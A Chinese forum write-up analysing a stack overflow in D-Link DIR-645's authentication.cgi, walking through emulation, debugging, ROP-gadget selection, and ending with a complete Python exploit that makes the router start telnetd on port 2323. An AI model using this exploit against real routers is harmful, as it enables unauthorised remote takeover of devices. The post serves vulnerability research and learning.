首页
论坛
课程
招聘
D-Link DIR-645路由器栈溢出漏洞分析
2020-5-2 11:30 13153

D-Link DIR-645路由器栈溢出漏洞分析

2020-5-2 11:30
13153

目录

01-漏洞描述

  • https://www.exploit-db.com/exploits/33862

          This module exploits an remote buffer overflow vulnerability on several D-Link routers.
          The vulnerability exists in the handling of HTTP queries to the authentication.cgi with long password values. The vulnerability can be exploitable without authentication. 
          This module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.
    
  • 关键点:溢出漏洞、http请求、password字段、authentication.cgi

02-环境/工具

  • Ubuntu 18.04:目标系统,运行路由器固件
  • Windows 7 专业版:运行IDA作为远程调试机
  • IDA Pro:静态分析、远程动态调试
  • mips rop finder插件:搜索可用rop
  • binwalk:提取固件中的文件系统
  • firmadyne工具包:模拟路由器执行
  • 固件下载:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP
  • 《路由器0Day漏洞》一书中脚本:run_cgi.sh(poc)、patterLocOffset.py(确定偏移)、DIR645-f-V1.03.py(exp)

03-漏洞分析

  1. 用binwalk将固件中的文件系统提取出来,cd到squashfs目录,寻找存在漏洞的目标文件authentication.cgi,得知其是一个符号链接,真正的目标文件是cgibin

    image-20200501210401531

  2. 利用已有的poc来定位漏洞,使用的sh脚本如下,来自《路由器0Day漏洞》一书中run_cgi.sh

     #!/bin/bash
    
     # 待执行命令
     # sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*1160"` "uid=A21G"
    
     INPUT="$1" # 参数1,uid=A21G&password=1160个A
     TEST="$2"    # 参数2,uid=A21G
     LEN=$(echo -n "$INPUT" | wc -c)    # 参数1的长度
     PORT="1234"    # 监听的调试端口
    
     # 用法错误则提示
     if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
     then
         echo -e "\nUsage: sudo $0 \n"
         exit 1
     fi
    
     # 复制qemu-mipsel-static到本目录并重命名,注意是static版本
     cp $(which qemu-mipsel-static) ./qemu
     echo $TEST
     # | 管道符:前者输出作为后者输入
     # chroot 将某目录设置为根目录(逻辑上的)
     echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/authentication.cgi
     echo 'run ok'
     rm -f ./qemu    # 删除拷贝过来的执行文件
    
  3. 书中原有的poc运行失败

    • 去掉2>/dev/null,使其显示报错信息(2-标准报错信息
    • chroot: failed to run command ‘./qemu’: No such file or directory
    • https://blog.csdn.net/xieqianhua55/article/details/50749489
    • apt安装qemu-user-static,将cp中qemu-mipsel改为qemu-mipsel-static
    • 应该是因为chroot后,路径都变了,qemu的执行缺少依赖,改为静态即可
  4. Ubuntu中执行脚本,开启调试端口1234,等待远程调试机连接

     sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*1160"` "uid=A21G"
    
  5. Windows 7 中IDA打开cgibin,开启远程调试

    image-20200501213519103

  6. 因为漏洞文件与认证有关,故function子窗口中搜索“authentication“,试一下authenticatecgi_main函数,F2下断,F9运行至此

    image-20200501215521391

    image-20200501215835668

  7. 地址0040B028处,保存ra寄存器中的返回地址到内存

    image-20200501220555022

  8. F8单步,看什么时候内存中的返回地址被修改,来缩小范围,定位漏洞点;

  9. 执行read函数后,返回地址被覆盖,因此,可初步判定read为溢出点

    image-20200501222014031

  10. getenv函数获取http请求中CONTENT_LENGTH字段的值,即内容长度;

    随后atoi函数将字符串形式的长度值转为整型;

    read函数没有验证参数nbytes大小,将用户可控的输入内容放置大小固定的栈中局部变量,从而发生溢出!

    image-20200430105301118

    image-20200430105615046

04-漏洞利用

4.1-选择攻击途径

  1. 选择命令执行为该漏洞的攻击途径(除了利用system等函数来命令执行的方式,还有直接执行shellcode的方式)

  2. 目标文件cgibin会加载libc.so.0动态库,因此IDA中打开,在function子窗口中键入“system”,查得so动态库中system函数的地址为00053200

    注意:由于so文件是动态库,因此00053200只是一个相对偏移,加上libc.so.0动态库的加载基址0x2aaf8000才是最终的绝对地址,即2ab4b200

    (疑问:加载基址是怎么知道的?

    image-20200430155508963

  3. 光有函数的地址还不够,还要再找能够调用函数的指令。使用mips rop finder插件来寻找可用的gadgets序列

    image-20200430170533344

  4. 如上所示:jalr $t9会调用t9寄存器中的地址,而t9又来自s0,因此,只要将函数地址放置s0寄存器,便可以实现函数的调用;

    待调用函数的参数a0,其来自s5,又来自于sp,0x170+var_160=sp+10

    因此,将system函数地址放置s0,将待执行的命令放置sp+10,就可以实现任意命令的执行

4.2-确定偏移

  1. patterLocOffset.py,生成大量有序字符,确定偏移以实现精准定位

     #!/usr/bin/env python
     #####################################################################################
     ## Create pattern strings & location offset 
     ## Tested against Ubuntu 12.04 & Windows # #
     ##
     ## Example:
     ## C:\Users\Lenov\Desktop> patterLocOffset.py -c -l 260 -f output.txt
     ### [*] Create pattern string contains 260 characters ok!
     ### [+] output to output.txt ok!
     ##
     ## C:\Users\Lenov\Desktop> patternLocOffset.py -s 0x41613141 -l 260
     ### [*] Create pattern string contains 260 characters ok!
     ### [*] Exact match at offset 3
     #
     ## Nimdakey # 09-10-2013
     #####################################################################################
    
     import argparse
     import struct
     import binascii
     import string
     import time
     import sys
     import re
    
     a = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
     b = "abcdefghijklmnopqrstuvwxyz"
     c = "0123456789"
    
     def generate(count,output):
         #
         # pattern create
         codeStr = ''
         print '[*] Create pattern string contains %d characters'%count,
         timeStart = time.time()
         for i in range(0,count):
             codeStr += a[i/(26*10)]+b[(i%(26*10))/10]+c[i%(26*10)%10]
         print 'ok!'
         if output:
             print '[+] output to %s'%output,
             fw = open(output,'w')
             fw.write(codeStr)
             fw.close() 
             print 'ok!'
         else:
             return codeStr
         print "[+] take time: %.4f s"%(time.time()-timeStart)
    
     def patternMatch(searchCode, length=1024):
         #
         # pattern search
         offset = 0
         pattern = None
    
         timeStart = time.time()
         is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)
         isHex = re.match('^[0-9a-fA-F]{8}',searchCode)
    
         if is0xHex:
             #0x41613141
             pattern = binascii.a2b_hex(searchCode[2:])
         elif isHex:
             #41613141
             pattern = binascii.a2b_hex(searchCode)
         else:
             print '[-] seach Pattern eg:0x41613141'
             sys.exit(1)
    
         source = generate(length,None)
         offset = source.find(pattern)
    
         if offset != -1:
             print "[*] Exact match at offset %d"%offset
         else:
             print "[*] No exact matches, looking for likely candidates..."
             reverse = list(pattern)
             reverse.reverse()
             pattern = "".join(reverse)
             offset = source.find(pattern)
             if offset != -1:
                 print "[+] Possible match at offset %d (adjusted another-endian)"%offset
         print "[+] take time: %.4f s"%(time.time()-timeStart)
    
     def main():
         ## parse argument
         parser = argparse.ArgumentParser()
         parser.add_argument('-s', '--search', help='search for pattern')
         parser.add_argument('-c', '--create', help='create a pattern',\
                             action='store_true')
         parser.add_argument('-f', '--file', help='output file name',\
                             default='patternShell.txt')
         parser.add_argument('-l', '--length',help='length of pattern code',\
                             type=int,default=1024)
         #parser.add_argument('-v', dest='verbose', action='store_true')
         args = parser.parse_args()
    
         ## save all argument
         length = args.length
         output = args.file
         #verbose = args.verbose
         createCode = args.create
         searchCode = args.search
    
         if createCode and (0 < args.length <= 26*26*10):
             #eg:  -c -l 90
             generate(length,output)
         elif searchCode and (0 < args.length <= 26*26*10):
             #eg: -s 0x474230141
             patternMatch(searchCode,length)
         else:
             print '[-] You shoud chices from [-c -s]'
             print '[-] Pattern length must be less than 6760'
             print 'more help: pattern.py -h'
         # ...
    
     if __name__ == "__main__":
         main()
    
  2. 用上述py脚本创建1160个定位字符串,保存至test文件;

    执行poc脚本run_cgi.sh,与前面不同的是,此时password字段的值来自test文件即生成的定位字符串,而非多个‘A'字符。

    image-20200502083631363

  3. IDA重新远程调试cgibin,运行至authentication_main函数要返回前,注意此时S0、RA寄存器中的值(RA用来放rop chain的地址,s0寄存器在rop chain中,存放要跳往的函数地址

    image-20200502084108179

  4. 由于选择了命令执行的攻击途径,在前面已经知道,s0寄存器中存放待调用的函数地址即system,故定位s0的地址0x42386842,得到偏移为1014

    image-20200502103032044

4.3-构造payload

  1. 6中得到system函数的绝对地址为2ab4b200,注意到有00字符,在有些情况下可能会发生截断,保险起见,还是不用,另寻其他或者“曲线救国”

  2. 在此采用“曲线救国”的办法:对包含00的system函数地址进行计算,得到一个没有00的地址填充至S0寄存器,再在so文件中搜寻对s0寄存器进行计算的指令(上述system地址计算的逆向),将原地址恢复,通过跳板指令来实现“曲线救国”

    如下是对s0寄存器进行+1的指令

    image-20200430165642417

  3. 一图胜千言

    image-20200430165830879

  4. 结合两条rop链来构造payload(5处关键点

    image-20200430170533344

    image-20200430165642417

     # 0x531ff:伪system函数地址(只不过-1了,曲线救国,避免地址出现00截断字符
     # 0x158c8:rop chain 1(将伪地址+1,得到真正的system地址,曲线救国的跳板
     # 0x159cc:rop chain 2(执行system函数,传参cmd以执行命令
     # 0x2aaf8000:so动态库的加载基址
    
     # 1. $s0偏移为1104,0x531ff只占了3,1104-3=1101
     payload.AddNops(1011)    
     # 2. 要跳往的system地址53200-1=531ff,再加so的加载基址,
     payload.AddAddress(0x531ff,0x2aaf8000)                # $s0
     # 无关紧要,滑板指令即可
     payload.AddNops(4)                            # $s1
     payload.AddNops(4)                            # $s2
     payload.AddNops(4)                            # $s3
     payload.AddNops(4)                            # $s4
     # 3. 第一条rop链中,会jalr $s5,故此是第二条rop链的地址
     payload.AddAddress(0x159cc, 0x2aaf8000)    # $s5
     # 无关紧要,滑板指令即可
     payload.AddNops(4)                            # unused($s6)
     payload.AddNops(4)                            # unused($s7)
     payload.AddNops(4)                            # unused($gp)
     # 4. 返回地址,先跳往第一条rop链,经计算后获取真正的system函数地址
     payload.AddAddress(0x158c8, 0x2aaf8000)    # $ra
     # 无关紧要,滑板指令即可
     payload.AddNops(4)                            # fill
     payload.AddNops(4)                            # fill
     payload.AddNops(4)                            # fill
     payload.AddNops(4)                            # fill
     # 5. 第二条rop链中$sp+0x10的位置,存放待执行的cmd命令
     payload.Add('telnetd -p 2323')    # shellcode,在2323端口开启telnet服务
    

4.4-完整exp

#!/usr/bin/env python
#####################################################################################
# Exploit for the DIR-605L CAPTCHA login stack based buffer overflow
#vulnerability. # Spawns a reverse root shell to 192.168.1.100 on port
#8080. # Tested against firmware versions 1.10, 1.12 and 1.13. # #
### 06-October-2012
#####################################################################################

import sys
import time
import string
import socket
from random import Random
import urllib, urllib2, httplib

class MIPSPayload:
    BADBYTES = [0x00]
    LITTLE = "little"
    BIG = "big"
    FILLER = "A"
    BYTES = 4

    def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
        self.libase = libase
        self.shellcode = ""
        self.endianess = endianess
        self.badbytes = badbytes

    def rand_text(self, size):
        str = ''
        chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
        length = len(chars) - 1
        random = Random()
        for i in range(size):
            str += chars[random.randint(0,length)]
        return str

    def Add(self, data):
        self.shellcode += data

    def Address(self, offset, base=None):
        if base is None:
            base = self.libase
        return self.ToString(base + offset)

    def AddAddress(self, offset, base=None):
        self.Add(self.Address(offset, base))

    def AddBuffer(self, size, byte=FILLER):
        self.Add(byte * size)

    def AddNops(self, size):
        if self.endianess == self.LITTLE:
            self.Add(self.rand_text(size))
        else:
            self.Add(self.rand_text(size))

    def ToString(self, value, size=BYTES):
        data = ""
        for i in range(0, size):
            data += chr((value >> (8*i)) & 0xFF)
        if self.endianess != self.LITTLE:
            data = data[::-1]
        return data

    def Build(self):
        count = 0
        for c in self.shellcode:
            for byte in self.badbytes:
                if c == chr(byte):
                    raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))
            count += 1
        return self.shellcode

    def Print(self, bpl=BYTES):
        i = 0
        for c in self.shellcode:
            if i == 4:
                print ""
                i = 0
            sys.stdout.write("\\x%.2X" % ord(c))
            sys.stdout.flush()
            if bpl > 0:
                i += 1
        print "\n"

class HTTP:
    HTTP = 'http'

    def __init__(self, host, proto=HTTP, verbose=False):
        self.host = host
        self.proto = proto
        self.verbose = verbose
        self.encode_params = True

    def Encode(self, data):
        #just for DIR645
        if type(data) == dict:
            pdata = []
            for k in data.keys():
                pdata.append(k + '=' + data[k])
            data = pdata[1] + '&' + pdata[0]
        else:
            data = urllib.quote_plus(data)
        return data

    def Send(self, uri, headers={}, data=None, response=False,encode_params=True):
        html = ""
        if uri.startswith('/'):
            c = ''
        else:
            c = '/'

        url = '%s://%s' % (self.proto, self.host)
        uri = '/%s' % uri
        if data is not None:
            data = self.Encode(data)
        #print data
        if self.verbose:
            print url
        httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
        httpcli.request('POST',uri,data,headers=headers)
        response=httpcli.getresponse()
        print response.status
        print response.read()

if __name__ == '__main__':
    libc = 0x2aaf8000    # so动态库的加载基址
    target = {
        "1.03"  :   [
            0x531ff,    # 伪system函数地址(只不过-1了,曲线救国,避免地址出现00截断字符
            0x158c8,    # rop chain 1(将伪地址+1,得到真正的system地址,曲线救国的跳板
            0x159cc,    # rop chain 2(执行system函数,传参cmd以执行命令
            ],
        }
    v = '1.03'
    cmd = 'telnetd -p 2323'        # 待执行的cmd命令:在2323端口开启telnet服务
    ip = '192.168.0.1'        # 服务器IP地址//here

    # 构造payload
    payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])

    payload.AddNops(1011)                # filler # 7. 填充1011个字节,$s0偏移为1104,129行target数组中地址只占了3,04-3=01
    payload.AddAddress(target[v][0], base=libc)    # $s0
    payload.AddNops(4)                            # $s1
    payload.AddNops(4)                            # $s2
    payload.AddNops(4)                            # $s3
    payload.AddNops(4)                            # $s4
    payload.AddAddress(target[v][2], base=libc)    # $s5 
    payload.AddNops(4)                            # unused($s6)
    payload.AddNops(4)                            # unused($s7)
    payload.AddNops(4)                            # unused($gp)
    payload.AddAddress(target[v][1], base=libc)    # $ra
    payload.AddNops(4)                            # fill
    payload.AddNops(4)                            # fill
    payload.AddNops(4)                            # fill
    payload.AddNops(4)                            # fill
    payload.Add(cmd)                # shellcode

    # 构造http数据包
    pdata = {
        'uid'       :   '3Ad4',
        'password'  :   'AbC' + payload.Build(),
        }
    header = {
        'Cookie'        : 'uid='+'3Ad4',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type'  : 'application/x-www-form-urlencoded',
        'User-Agent'    : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
        }
    # 发起http请求
    try:
        HTTP(ip).Send('authentication.cgi', data=pdata,headers=header,encode_params=False,response=True)
        print '[+] execute ok'
    except httplib.BadStatusLine:
        print "Payload deliverd."
    except Exception,e:
        print "2Payload delivery failed: %s" % str(e)

05-漏洞测试

  1. 尝试利用firmware-analysis-toolkit工具套件来模拟执行路由器固件

    image-20200502110241467

  2. fat.py可以执行成功,但访问web界面192.168.0.1总是失败,测试其他固件可成功,因此工具本身没问题,推测是固件自身的问题,尝试解决无果,待研究。。。

06-参考

  • 《揭秘家用路由器0Day漏洞挖掘技术》

(第一次分析路由器漏洞,万事开头难,以后处处难,大坑小坑落玉盘


[公告]春风十里不如你,看雪团队诚邀你的加入!

最后于 2020-5-4 23:33 被21Gun5编辑 ,原因:
收藏
点赞0
打赏
分享
打赏 + 2.00
打赏次数 1 金额 + 2.00
 
赞赏  yjmwxwx   +2.00 2021/02/21
最新回复 (6)
雪    币: 697
活跃值: 活跃值 (72)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
plkk 活跃值 2020-5-3 19:47
2
0
可以gdb调试的时候,通过vmmap获取基址,一般是第一个rwx可执行段
雪    币: 4875
活跃值: 活跃值 (396)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
21Gun5 活跃值 2 2020-5-3 22:51
3
0
plkk 可以gdb调试的时候,通过vmmap获取基址,一般是第一个rwx可执行段
还算新手,多谢指教
雪    币: 254
活跃值: 活跃值 (54)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
hacker一疒亻 活跃值 2020-5-20 14:47
4
0
《揭秘家用路由器0Day漏洞挖掘技术》  关键是这本书手上没有哇,所以你说得代码和脚本能不能分享一下  
雪    币: 6668
活跃值: 活跃值 (4865)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2 2020-10-27 10:57
5
0

楼主是否能将IDA远程调试的方法讲详细一些,我运行run_cgi.sh直接附加是失败的


如果运行IDA自带的调试插件,可以调试,但是function窗口中找不到任何函数

最后于 2020-11-3 10:55 被pureGavin编辑 ,原因: 问题已解决
雪    币: 120
活跃值: 活跃值 (149)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
W1ru5 活跃值 2020-11-28 07:55
6
0
不错
雪    币: 213
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
菜鸟学IoT 活跃值 2020-12-28 13:34
7
0
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
        0x60000000         0x602fe000 r-xp   2fe000 0      /usr/bin/qemu-mipsel-static
        0x604fd000         0x60506000 rw-p     9000 2fd000 /usr/bin/qemu-mipsel-static
        0x60506000         0x6256b000 rw-p  2065000 0      [heap]
    0x7ffff7ffa000     0x7ffff7ffd000 r--p     3000 0      [vvar]
    0x7ffff7ffd000     0x7ffff7fff000 r-xp     2000 0      [vdso]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
我用gdb 调式了,请问哪个是基址??
游客
登录 | 注册 方可回帖
返回